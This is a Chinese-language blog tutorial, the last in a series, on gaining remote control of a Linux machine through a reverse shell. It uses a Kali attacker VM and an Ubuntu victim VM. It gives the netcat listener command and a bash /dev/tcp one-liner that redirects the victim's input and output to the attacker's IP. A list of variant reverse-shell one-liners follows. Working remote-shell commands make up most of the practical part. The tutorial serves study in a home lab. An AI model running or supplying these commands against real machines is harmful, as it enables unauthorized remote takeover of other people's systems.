反弹shell 之最终篇 实战远操
反弹shell讲解
今天进行实战远程操控
一.条件:
1 | 我们可以对被攻击者的电脑进行命令执行 |
---|---|
2 | 被攻击者电脑上0,1,2各项权限不曾更改,或者更改你知道后续情况 |
二.如果想要测试需要准备的相关材料
1.两台不同ip的机器:
我这里准备的是一台Ubuntu 虚拟机(被攻击者)
ip:192.168.123.137(ifconfig即可查询)
一台kali linux虚拟机(攻击者)
ip:192.168.123.107(ifocnfig即可查询)
2.了解基本的nc军刀命令
我之前写过一篇博客(只针对本次测试的nc命令讲解):
https://blog.****.net/weixin_44270509/article/details/90272332
3.了解linux0,1,2各项权限的内容和重定向的有关知识
不了解的可以看看我之前的博客:
https://blog.****.net/weixin_44270509/article/details/90260012
4.一些shell的功能(我下文思路指导也会讲出该功能的用途)
三.思路指导
1.我们需要了解反弹shell的基本内容:
reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
入何实现这个呢:
.我们需要在攻击者机器上先执行监听端口动向,从而第一时间获取信息
.我们需要在被攻击者的机器上执行重定向权限设置,将读写的权限转交到攻击者的电脑上
.我们需要一个多命令权限转交的中转,这就需要引用linux 再带的shell中的权限了
2.linux shell的主要内容:
Shell本身是一个用C语言编写的程序,它是用户使用Unix/Linux的桥梁,用户的大部分工作都是通过Shell完成的。Shell既是一种命令语言,又是一种程序设计语言。作为命令语言,它交互式地解释和执行用户输入的命令;作为程序设计语言,它定义了各种变量和参数,并提供了许多在高级语言中才具有的控制结构,包括循环和分支。
Unix/Linux上常见的Shell脚本解释器有bash、sh、csh、ksh等,习惯上把它们称作一种Shell。
这次我们主要使用bash shell
我们先主要了解这个shell:
linux里面的自带shell,bash是 Bourne Again Shell 的缩写,是linux标准的默认shell ,它基于Bourne shell,吸收了C shell和Korn shell的一些特性。bash完全兼容sh,也就是说,用sh写的脚本可以不加修改的在bash中执行。因为是默认的shell,所以基本上百分之九十的linux系统都存在,也是我们这次演练的原因
当然如果你想了解更多
四. 实战演练
首先我们在攻击者系统上执行可以进行监控端口的指令,主要是nc命令的显现:
首先我们先来准备一下命令:
nc -lvp 2233
会出现下面的样式
然后我们在被攻击的系统上执行我们(如果看不到下面的命令请务必查看我上面指向的博客了解)
bash -i>& /dev/tcp/192.168.123.107/2233 0>&1
我们来看一下效果
好像没有什么变化,但是我们在看我们攻击者的电脑上的变化,我顺便执行了一条ip查询指令:然而查询出的ip确是
然后我们尝试在被攻击的电脑上执行命令然而我们发现,无论是什么指令都没有什么显示,为什么呢,这就归功于我们之前的nc命令的功劳,如果到这你都好没有看我之前的博客,我就只能滑稽护体了
我们在攻击者的电脑上执行下之前命令
发现之前的命令都有显示,太真实了,因为我们把0,1,2都重定向到了攻击者的电脑上了啦…
五.其他的shell语句:
1 | bash -i>& /dev/tcp/192.168.146.129/2333 0<&1 |
---|---|
2 | bash -i >& /dev/tcp/192.168.146.129/2333 <&2 |
与2等价 | bash -i >& /dev/tcp/192.168.146.129/2333 0<&2 |
3 | exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5 |
六.总结
到此总结反弹shell就结束了,毕竟这是我一个人学习的经验,我希望如果我有错误大家可以及时评论指出,我好及时更正,谢谢